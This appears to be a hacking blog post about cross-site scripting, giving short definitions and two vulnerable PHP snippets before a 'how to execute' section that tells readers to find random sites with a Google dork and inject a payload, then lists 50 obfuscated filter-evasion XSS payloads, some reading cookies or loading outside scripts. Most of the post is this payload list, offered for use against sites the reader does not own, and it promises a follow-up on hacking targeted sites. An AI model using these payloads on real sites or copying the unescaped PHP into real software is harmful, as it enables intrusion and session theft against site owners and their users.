Introduction 
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

XSS Attack Examples

Reflective XSS
There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session. 
<?phpif(!array_key_exists("name",$_GET) | |$_GET['name'] == NULL || $_GET['name']==''){$isempty=true;}else{echo '<pre>';echo 'Hello' . $_GET['name'];echo '</pre>';}?>

Persistent XSS
Consider a Web application that allows users to enter a user name which is displayed on each user’s profile page. The application stores each user name in a local database. A malicious user notices that the Web application fails to sanitize the user name field and inputs malicious JavaScript code as part of their user name. When other users view the attacker’s profile page, the malicious code automatically executes in the context of their session.
<?phpif(isset($_POST['btnSign'])){$message=trim($_POST['mtxMessage']);$name=trim($_POST['txtName']);// Sanitize message input$message = stripslashes($message);$message = mysql_real_escape_string($message);// Sanitize name input$name = mysql_real_escape_string($name);$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";$result=mysql_query($query) or die('<pre>'.mysql_error().'</pre>');}?>

DOM based XSS 

DOM-based vulnerabilities occur in the content processing stages performed by the client, typically in client-side JavaScript. The name refers to the standard model for representing HTML or XML contents which is called the Document Object Model (DOM) JavaScript programs manipulate the state of a web page and populate it with dynamically-computed data primarily by acting upon the DOM. simply that type occurs on the javascript code itself that the developer use in client side for example "A typical example is a piece of JavaScript accessing and extracting data from the URL via the location.* DOM, or receiving raw non-HTML data from the server via XMLHttpRequest, and then using this information to write dynamic HTML without proper escaping,entirely on client side."



HOW TO EXECUTE XSS QUERY.
(so lets perform xss on random sites)
we can start by using XSS dorks.

XSS DORKS
http://sh.st/v4f5
XSS PAYLOADS
http://sh.st/v4h4
http://sh.st/v4lw

type in Google:
inurl:"search.php?q="
okay, now i found this target site..
http://sh.st/v4eP
So let's Execute a XSS payload, this time im gonna use this payload.
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
Hit Enter then poof! Site has been xssed.
Nowadays, XSS attack is not just used by Hackers, it is also used by pentesters and Security Reaserchers.. :)
And A big Credit to my Friend "Evan Ricafort" and other security researchers for sharing some of their XSS payloads :)


1) <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>

2) <div onmouseover='alert&lpar;1&rpar;'>DIV</div>

3) <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">

4) <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>

5) <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">

6) <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">

7) <var onmouseover="prompt(1)">On Mouse Over</var>

8) <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

9) <img src="/" =_=" title="onerror='prompt(1)'">

10) <%<!--'%><script>alert(1);</script -->

11) <script src="data:text/javascript,alert(1)"></script>

12) <iframe/src \/\/onload = prompt(1)

13) <iframe/onreadystatechange=alert(1)

14) <svg/onload=alert(1)

15) <input value=<><iframe/src=javascript:confirm(1)

16) <input type="text" value=``<div/onmouseover='alert(1)'>X</div>

17) http://www.<script>alert(1)</script .com


18) <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>

19) <svg><script ?>alert(1)

20) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

21) <img src=`xx:xx`onerror=alert(1)>

22) <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>

23) <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>

24) <math><a xlink:href="//jsfiddle.net/t846h/">click

25) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>

26) <svg contentScriptType=text/vbs><script>MsgBox+1

27) <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a

28) <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>

29) <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+

30) <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F

31) <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script

32) <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>

33) <script>+-+-1-+-+alert(1)</script>

34) <body/onload=&lt;!--&gt;&#10alert(1)>

35) <script itworksinallbrowsers>/*<script* */alert(1)</script

36) <img src ?itworksonchrome?\/onerror = alert(1)

37) <svg><script>//&NewLine;confirm(1);</script </svg>

38) <svg><script onlypossibleinopera:-)> alert(1)

39) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

40) <script x> alert(1) </script 1=2

41) <div/onmouseover='alert(1)'> style="x:">

42) <--`<img/src=` onerror=alert(1)> --!>

43) <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>

44) <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>

45) "><img src=x onerror=window.open('https://www.google.com/');>

46) <form><button formaction=javascript&colon;alert(1)>CLICKME

47) <math><a xlink:href="//jsfiddle.net/t846h/">click

48) <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>

49) <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

50) <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>


The Next tutorial ill be writing will be on how to hack and penetrate targeted site. so stay tune :)

0 blogger-facebook:

Post a Comment

InfoSec

 
Top